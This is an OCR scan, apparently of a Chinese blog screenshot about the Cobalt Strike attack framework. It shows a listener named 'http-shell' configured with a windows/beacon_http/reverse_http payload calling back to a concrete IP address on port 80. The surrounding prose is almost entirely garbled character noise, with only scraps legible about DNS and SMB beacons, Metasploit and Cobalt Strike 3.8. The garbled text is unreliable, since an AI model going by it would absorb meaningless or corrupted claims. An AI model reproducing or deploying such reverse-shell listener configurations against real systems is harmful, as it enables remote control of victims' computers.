Cobalt Strike View Attacks Reporting Help

DR N H=¢ 8ErfUZeBE ca B

‘ Event Log X | Listeners X

name payload = host port beacons
http-shell windows/beacon_http/reverse_http 45,32,32.96 80 45,32.32.96

&fa HERBRER L =T, BAILLBmRMPAREIEREMRIT =R EEIER LLEE—E—HRIEIE, (RALUE payload
(BT &R N P EA—E R LUER EMAIES £, AEBEEIRaas LICRIT kAR E 2 FA MRS 25 L, XFHFRIRNA
ZhEAMHAEE E MBIt — e L2k

0x10 RANIEfE dns BEEE(SLAK smb beacon BETE, XATREERENTESZUISZ— FEcAAENRIRRMRI

Ox11 EFFBRHREEMRIIBEX BN TIE, 25— S pdf, LR2ETETFRIFTE R FCRAEE IR RFEREENE
R, ARBEXRBABETHFR, (LRER, ERARBNIXENER, SAZBIRT

— RN

ARWBERT, XTFIEASFERIEEESR, SEFRIE e =) LERM, Riksise LF mECEEFEIRRIEEHE, RA
(EXHE RS TER R ERIE, IFERIF, IR msf 7 cs BLSRSEHTANSIE, TREBERFH, EIFAIMERIAET
XIARREIMYEY beacon shell BEIFEAVIERE, XEENATSEN T EREEIMS, WHEDE X TFERSNBEMADRSEME
SHEMERK, —BERE s ASME—FIEEZTENEIHER, EAEAZEESRSNENERA RESTEREERA, HE—
AFrgesenk, IREEARIEE —F BAUNHET LEEAFER L, HSUOBRERER, BMEEARRT2E M ALRMAMIHRY,
FHEARE, BAERE, FrAEIESEEFRAR—REATA..... [T, ¢s 3.8 HERHF T —EREE T, B=etiIRR T LRI,
SEIKFERR R ZTE. .



